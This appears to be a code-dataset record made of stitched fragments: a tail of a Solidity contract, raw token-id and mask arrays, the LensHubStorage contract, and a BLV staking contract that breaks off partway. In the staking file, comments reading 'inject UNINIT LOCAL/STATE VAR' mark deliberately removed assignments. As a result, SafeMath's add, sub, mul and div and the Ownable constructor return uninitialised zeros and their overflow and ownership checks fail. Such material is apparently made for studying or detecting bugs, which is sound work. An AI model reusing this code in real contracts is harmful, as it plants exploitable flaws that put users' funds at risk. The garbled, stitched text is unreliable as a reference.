postMigrationState.EZwhitelistPolicy
);
_unpause();
emit MigrationExecuted();
}
function _getSharesAddress() internal view override returns (address) {
return globalState.EZshares;
}
function _setSignal(address _signalPoolAddress, string memory _signalName)
internal
{
(globalState.signal, globalState.signalName) = (
_signalPoolAddress,
_signalName
);
}
function _getSignal() internal view override returns (int256[] memory) {
return ISignal(globalState.signal).getSignal(globalState.signalName);
}
function _getSignalSymbols()
internal
view
override
returns (string[] memory)
{
return
ISignal(globalState.signal).getSignalSymbols(
globalState.signalName
);
}
function _getExpectedEfficiency() internal view override returns (int256) {
return expectedEfficiency;
}
function _setExpectedEfficiency(int256 _expectedEfficiency) internal {
expectedEfficiency = _expectedEfficiency;
}
}
| 11,851,812 | [
1,
3644,
6835,
364,
1139,
15124,
225,
14549,
364,
326,
2552,
919,
434,
326,
7278,
6835,
471,
3903,
23877,
225,
9515,
777,
18699,
389,
10468,
471,
7962,
17,
30386,
919,
358,
18186,
18699,
20092,
16,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1139,
15124,
4670,
353,
21800,
16665,
16,
1139,
52,
11679,
3714,
16,
1139,
15124,
694,
88,
806,
16,
1139,
15124,
17163,
288,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
565,
509,
5034,
5381,
2687,
1232,
5998,
273,
404,
73,
28,
31,
203,
203,
203,
203,
203,
203,
203,
565,
1958,
3287,
288,
203,
565,
289,
203,
203,
565,
509,
5034,
2665,
41,
22217,
31,
203,
203,
3639,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
22188,
2448,
12,
2867,
16,
3890,
16,
3890,
2225,
10019,
203,
3639,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
80,
409,
12,
2867,
16,
3890,
16,
3890,
2225,
10019,
203,
3639,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
266,
24903,
12,
2867,
16,
3890,
16,
3890,
2225,
10019,
203,
203,
203,
565,
1426,
1071,
15693,
31,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
9230,
18927,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
331,
275,
344,
18927,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
2713,
3310,
18927,
31,
203,
565,
2874,
12,
1080,
516,
1758,
13,
1071,
3273,
774,
6672,
31,
203,
565,
2874,
12,
2867,
516,
1758,
13,
1071,
3310,
774,
5147,
8141,
31,
203,
203,
565,
871,
1000,
18784,
12,
6430,
10486,
1769,
203,
565,
871,
20126,
18927,
329,
12,
2867,
9230,
1769,
203,
565,
871,
20126,
758,
18927,
329,
12,
2867,
9230,
1769,
203,
565,
871,
776,
275,
344,
18927,
329,
12,
2867,
331,
275,
344,
1769,
203,
565,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import {DataTypes} from '../../libraries/DataTypes.sol';
/**
* @title LensHubStorage
* @author Lens Protocol
*
* @notice This is an abstract contract that *only* contains storage for the LensHub contract. This
* *must* be inherited last (bar interfaces) in order to preserve the LensHub storage layout. Adding
* storage variables should be done solely at the bottom of this contract.
*/
abstract contract LensHubStorage {
bytes32 internal constant SET_DEFAULT_PROFILE_WITH_SIG_TYPEHASH =
keccak256(
'SetDefaultProfileWithSig(address wallet,uint256 profileId,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_FOLLOW_MODULE_WITH_SIG_TYPEHASH =
keccak256(
'SetFollowModuleWithSig(uint256 profileId,address followModule,bytes followModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_FOLLOW_NFT_URI_WITH_SIG_TYPEHASH =
keccak256(
'SetFollowNFTURIWithSig(uint256 profileId,string followNFTURI,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_DISPATCHER_WITH_SIG_TYPEHASH =
keccak256(
'SetDispatcherWithSig(uint256 profileId,address dispatcher,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_PROFILE_IMAGE_URI_WITH_SIG_TYPEHASH =
keccak256(
'SetProfileImageURIWithSig(uint256 profileId,string imageURI,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant POST_WITH_SIG_TYPEHASH =
keccak256(
'PostWithSig(uint256 profileId,string contentURI,address collectModule,bytes collectModuleInitData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant COMMENT_WITH_SIG_TYPEHASH =
keccak256(
'CommentWithSig(uint256 profileId,string contentURI,uint256 profileIdPointed,uint256 pubIdPointed,bytes referenceModuleData,address collectModule,bytes collectModuleInitData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant MIRROR_WITH_SIG_TYPEHASH =
keccak256(
'MirrorWithSig(uint256 profileId,uint256 profileIdPointed,uint256 pubIdPointed,bytes referenceModuleData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant FOLLOW_WITH_SIG_TYPEHASH =
keccak256(
'FollowWithSig(uint256[] profileIds,bytes[] datas,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant COLLECT_WITH_SIG_TYPEHASH =
keccak256(
'CollectWithSig(uint256 profileId,uint256 pubId,bytes data,uint256 nonce,uint256 deadline)'
);
mapping(address => bool) internal _profileCreatorWhitelisted;
mapping(address => bool) internal _followModuleWhitelisted;
mapping(address => bool) internal _collectModuleWhitelisted;
mapping(address => bool) internal _referenceModuleWhitelisted;
mapping(uint256 => address) internal _dispatcherByProfile;
mapping(bytes32 => uint256) internal _profileIdByHandleHash;
mapping(uint256 => DataTypes.ProfileStruct) internal _profileById;
mapping(uint256 => mapping(uint256 => DataTypes.PublicationStruct)) internal _pubByIdByProfile;
mapping(address => uint256) internal _defaultProfileByAddress;
uint256 internal _profileCounter;
address internal _governance;
address internal _emergencyAdmin;
}
| * @title LensHubStorage @author Lens Protocol @notice This is an abstract contract that only contains storage for the LensHub contract. This must be inherited last (bar interfaces) in order to preserve the LensHub storage layout. Adding storage variables should be done solely at the bottom of this contract./ | abstract contract LensHubStorage {
bytes32 internal constant SET_DEFAULT_PROFILE_WITH_SIG_TYPEHASH =
keccak256(
'SetDefaultProfileWithSig(address wallet,uint256 profileId,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_FOLLOW_MODULE_WITH_SIG_TYPEHASH =
keccak256(
'SetFollowModuleWithSig(uint256 profileId,address followModule,bytes followModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_FOLLOW_NFT_URI_WITH_SIG_TYPEHASH =
keccak256(
'SetFollowNFTURIWithSig(uint256 profileId,string followNFTURI,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_DISPATCHER_WITH_SIG_TYPEHASH =
keccak256(
'SetDispatcherWithSig(uint256 profileId,address dispatcher,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant SET_PROFILE_IMAGE_URI_WITH_SIG_TYPEHASH =
keccak256(
'SetProfileImageURIWithSig(uint256 profileId,string imageURI,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant POST_WITH_SIG_TYPEHASH =
keccak256(
'PostWithSig(uint256 profileId,string contentURI,address collectModule,bytes collectModuleInitData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant COMMENT_WITH_SIG_TYPEHASH =
keccak256(
'CommentWithSig(uint256 profileId,string contentURI,uint256 profileIdPointed,uint256 pubIdPointed,bytes referenceModuleData,address collectModule,bytes collectModuleInitData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant MIRROR_WITH_SIG_TYPEHASH =
keccak256(
'MirrorWithSig(uint256 profileId,uint256 profileIdPointed,uint256 pubIdPointed,bytes referenceModuleData,address referenceModule,bytes referenceModuleInitData,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant FOLLOW_WITH_SIG_TYPEHASH =
keccak256(
'FollowWithSig(uint256[] profileIds,bytes[] datas,uint256 nonce,uint256 deadline)'
);
bytes32 internal constant COLLECT_WITH_SIG_TYPEHASH =
keccak256(
'CollectWithSig(uint256 profileId,uint256 pubId,bytes data,uint256 nonce,uint256 deadline)'
);
mapping(address => bool) internal _profileCreatorWhitelisted;
mapping(address => bool) internal _followModuleWhitelisted;
mapping(address => bool) internal _collectModuleWhitelisted;
mapping(address => bool) internal _referenceModuleWhitelisted;
mapping(uint256 => address) internal _dispatcherByProfile;
mapping(bytes32 => uint256) internal _profileIdByHandleHash;
mapping(uint256 => DataTypes.ProfileStruct) internal _profileById;
mapping(uint256 => mapping(uint256 => DataTypes.PublicationStruct)) internal _pubByIdByProfile;
mapping(address => uint256) internal _defaultProfileByAddress;
uint256 internal _profileCounter;
address internal _governance;
address internal _emergencyAdmin;
import {DataTypes} from '../../libraries/DataTypes.sol';
}
| 7,243,956 | [
1,
48,
773,
8182,
3245,
225,
511,
773,
4547,
225,
1220,
353,
392,
8770,
6835,
716,
1338,
1914,
2502,
364,
326,
511,
773,
8182,
6835,
18,
1220,
1297,
506,
12078,
1142,
261,
3215,
7349,
13,
316,
1353,
358,
9420,
326,
511,
773,
8182,
2502,
3511,
18,
21240,
2502,
3152,
1410,
506,
2731,
3704,
2357,
622,
326,
5469,
434,
333,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
511,
773,
8182,
3245,
288,
203,
565,
1731,
1578,
2713,
5381,
7855,
67,
5280,
67,
22462,
67,
9147,
67,
18513,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
296,
694,
1868,
4029,
1190,
8267,
12,
2867,
9230,
16,
11890,
5034,
25903,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2506,
203,
3639,
11272,
203,
565,
1731,
1578,
2713,
5381,
7855,
67,
29890,
67,
12194,
67,
9147,
67,
18513,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
296,
694,
8328,
3120,
1190,
8267,
12,
11890,
5034,
25903,
16,
2867,
2805,
3120,
16,
3890,
2805,
3120,
2570,
751,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2506,
203,
3639,
11272,
203,
565,
1731,
1578,
2713,
5381,
7855,
67,
29890,
67,
50,
4464,
67,
3098,
67,
9147,
67,
18513,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
296,
694,
8328,
50,
4464,
3098,
1190,
8267,
12,
11890,
5034,
25903,
16,
1080,
2805,
50,
4464,
3098,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2506,
203,
3639,
11272,
203,
565,
1731,
1578,
2713,
5381,
7855,
67,
2565,
3118,
5858,
654,
67,
9147,
67,
18513,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
296,
694,
6681,
1190,
8267,
12,
11890,
5034,
25903,
16,
2867,
7393,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2506,
203,
3639,
11272,
203,
565,
1731,
1578,
2713,
5381,
7855,
67,
22462,
67,
13603,
67,
3098,
67,
9147,
67,
18513,
67,
2399,
15920,
2
] |
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//Note that assert() is now used because the try/catch mechanism in the Blv.sol contract does not revert on failure with require();
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
assert(c >= a/*, "SafeMath: addition overflow"*/);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b <= a/*, errorMessage*/);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
assert(c / a == b/*, "SafeMath: multiplication overflow"*/);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b > 0/*, errorMessage*/);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
assert(b != 0/*, errorMessage*/);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender ; //inject UNINIT LOCAL/STATE VAR
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
assert(_owner == _msgSender()/*, "Ownable: caller is not the owner"*/);
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
assert(newOwner != address(0)/*, "Ownable: new owner is the zero address"*/);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Contract used to calculate stakes. Unused currently.
abstract contract CalculatorInterface {
function calculateNumTokens(uint256 balance, uint256 daysStaked, address stakerAddress, uint256 totalSupply) public virtual view returns (uint256);
function randomness() public view virtual returns (uint256);
}
// Parent token contract, see Blv.sol
abstract contract BLVToken {
function balanceOf(address account) public view virtual returns (uint256);
function totalSupply() public view virtual returns (uint256);
function _burn(address account, uint256 amount) external virtual;
function mint(address account, uint256 amount) external virtual;
}
// Voting contract
abstract contract VotingBLVToken {
function isActiveVoter(address voterAddress) public view virtual returns (bool);
}
/**
* @dev Implementation of the Blv Network: https://blv.network
* Blv Network (BLV) is the world's first price-reactive cryptocurrency.
* That is, the inflation rate of the token is wholly dependent on its market activity.
* Minting does not happen when the price is less than the day prior.
* When the price is greater than the day prior, the inflation for that day is
* a function of its price, percent increase, volume, any positive price streaks,
* and the amount of time any given holder has been holding.
* In the first iteration, the dev team acts as the price oracle, but in the future, we plan to integrate a Chainlink price oracle.
* This contract is the staking contract for the project and is upgradeable by the owner.
*/
contract Staking is Ownable {
using SafeMath for uint256;
using Address for address;
// A 'staker' is an individual who holds the minimum staking amount in his address.
struct staker {
uint startTimestamp; // When the staking started in unix time (block.timesamp)
uint lastTimestamp; // When the last staking reward was claimed in unix time (block.timestamp)
}
struct update { // Price updateState
uint timestamp; // Last update timestamp, unix time
uint numerator; // Numerator of percent change (1% increase = 1/100)
uint denominator; // Denominator of percent change
uint price; // In USD. 0001 is $0.001, 1000 is $1.000, 1001 is $1.001, etc
uint volume; // In whole USD (100 = $100)
}
BLVToken public token; // ERC20 token contract that uses this upgradeable contract for staking and burning
VotingBLVToken public _votingContract; // Upgradable voting contract
address public liquidityContract;
bool private _votingEnabled;
address public _intervalWatcher;
uint public numStakers;
modifier onlyToken() {
assert(_msgSender() == address(token)/*, "Caller must be BLV token contract."*/);
_;
}
modifier onlyWatcher() {
assert(_msgSender() == _intervalWatcher/*, "Caller must be watcher."*/);
_;
}
modifier onlyNextStakingContract() { // Caller must be the next staking contract
assert(_msgSender() == _nextStakingContract);
_;
}
mapping (address => staker) private _stakers; // Mapping of all individuals staking/holding tokens greater than minStake
mapping (address => string) private _whitelist; // Mapping of all addresses that do not burn tokens on receive and send (generally other smart contracts). Mapping of address to reason (string)
mapping (address => uint256) private _blacklist; // Mapping of all addresses that receive a specific token burn when receiving. Mapping of address to percent burn (uint256)
bool public _enableBurns; // Enable burning on transfer or fee on transfer
bool private _priceTarget1Hit; // Price targets, defined in updateState()
bool private _priceTarget2Hit;
address public _uniswapV2Pair; // Uniswap pair address, done for fees on Uniswap sells
uint8 public upperBoundBurnPercent; // Uniswap sells pay a fee
uint public lowerBoundBurnPercent;
bool public _enableUniswapDirectBurns; // Enable seller fees on Uniswap
uint256 public _minStake; // Minimum amount to stake
uint8 public _minStakeDurationDays; // Minimum amount of time to claim staking rewards
uint8 public _minPercentIncrease; // Minimum percent increase to enable rewards for the day. 10 = 1.0%, 100 = 10.0%
uint256 public _inflationAdjustmentFactor; // Factor to adjust the amount of rewards (inflation) to be given out in a single day
uint256 public _streak; // Number of days in a row that the price has increased
update public _lastUpdate; // latest price update
CalculatorInterface private _externalCalculator; // external calculator to calculate the number of tokens given several variables (defined above). Currently unused
address private _nextStakingContract; // Next staking contract deployed. Used for migrating staker state.
bool public _useExternalCalc; // self-explanatory
bool public _freeze; // freeze all transfers in an emergency
bool public _enableHoldersDay; // once a month, holders receive a nice bump
event StakerRemoved(address StakerAddress); // Staker was removed due to balance dropping below _minStake
event StakerAdded(address StakerAddress); // Staker was added due to balance increasing abolve _minStake
event StakesUpdated(uint Amount); // Staking rewards were claimed
event MassiveCelebration(); // Happens when price targets are hit
event Transfer(address indexed from, address indexed to, uint256 value); // self-explanatory
constructor () public {
token = BLVToken(0x8DA25B8eD753a5910013167945A676921e864436);
_intervalWatcher = msg.sender;
_minStake = 1000E18;
_inflationAdjustmentFactor = 500;
_streak = 0;
_minStakeDurationDays = 0;
_useExternalCalc = false;
lowerBoundBurnPercent = 7;
upperBoundBurnPercent = 9;
_freeze = false;
_minPercentIncrease = 10; // 1.0% min increase
liquidityContract = msg.sender;
_whitelist[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = "UniswapV2";
_whitelist[msg.sender] = "Owner";
_whitelist[0xF40B0918D6b78fd705F30D92C9626ad218F1aEcE] = "Treasury";
_whitelist[0x2BFA783D7f38aAAa997650aE0EfdBDF632288A7F] = "Team";
_uniswapV2Pair = 0x6C25CF2160dB4A1BE0f1317FC301F5a5cDbA9199;
_whitelist[_uniswapV2Pair] = "UniswapPair";
}
// The owner (or price oracle) will call this function to update the price on days the coin is positive. On negative days, no update is made.
function updateState(uint numerator, uint denominator, uint256 price, uint256 volume) external onlyWatcher { // when chainlink is integrated a separate contract will call this function (onlyOwner state will be changed as well)
require(numerator > 0 && denominator > 0 && price > 0 && volume > 0, "Parameters cannot be negative or zero");
if (numerator < 2 && denominator == 100 || numerator < 20 && denominator == 1000) {
require(mulDiv(1000, numerator, denominator) >= _minPercentIncrease, "Increase must be at least _minPercentIncrease to count");
}
uint secondsSinceLastUpdate ; //inject UNINIT LOCAL/STATE VAR
if (secondsSinceLastUpdate < 129600) { // We should only update once per day, but block timestamps can vary
_streak++;
} else {
_streak = 1;
}
if (price >= 1000 && _priceTarget1Hit == false) { // 1000 = $1.00
_priceTarget1Hit = true;
_streak = 50;
emit MassiveCelebration();
} else if (price >= 10000 && _priceTarget2Hit == false) { // It is written, so it shall be done
_priceTarget2Hit = true;
_streak = 100;
_minStake = 100E18; // Need $1000 to stake
emit MassiveCelebration();
}
_lastUpdate = update(block.timestamp, numerator, denominator, price, volume);
}
function resetStakeTime() external { // This is only necessary if a new staking contract is deployed. Resets 0 timestamp to block.timestamp
uint balance ; //inject UNINIT LOCAL/STATE VAR
assert(balance > 0);
assert(balance >= _minStake);
staker storage thisStaker = _stakers[msg.sender];
if (thisStaker.lastTimestamp == 0) {
thisStaker.lastTimestamp = block.timestamp;
}
if (thisStaker.startTimestamp == 0) {
thisStaker.startTimestamp = block.timestamp;
numStakers++;
}
}
// This is used by the next staking contract to migrate staker state
function resetStakeTimeMigrateState(address addr) external onlyNextStakingContract returns (uint256 startTimestamp, uint256 lastTimestamp) {
startTimestamp = _stakers[addr].startTimestamp;
lastTimestamp = _stakers[addr].lastTimestamp;
_stakers[addr].lastTimestamp = block.timestamp;
_stakers[addr].startTimestamp = block.timestamp;
}
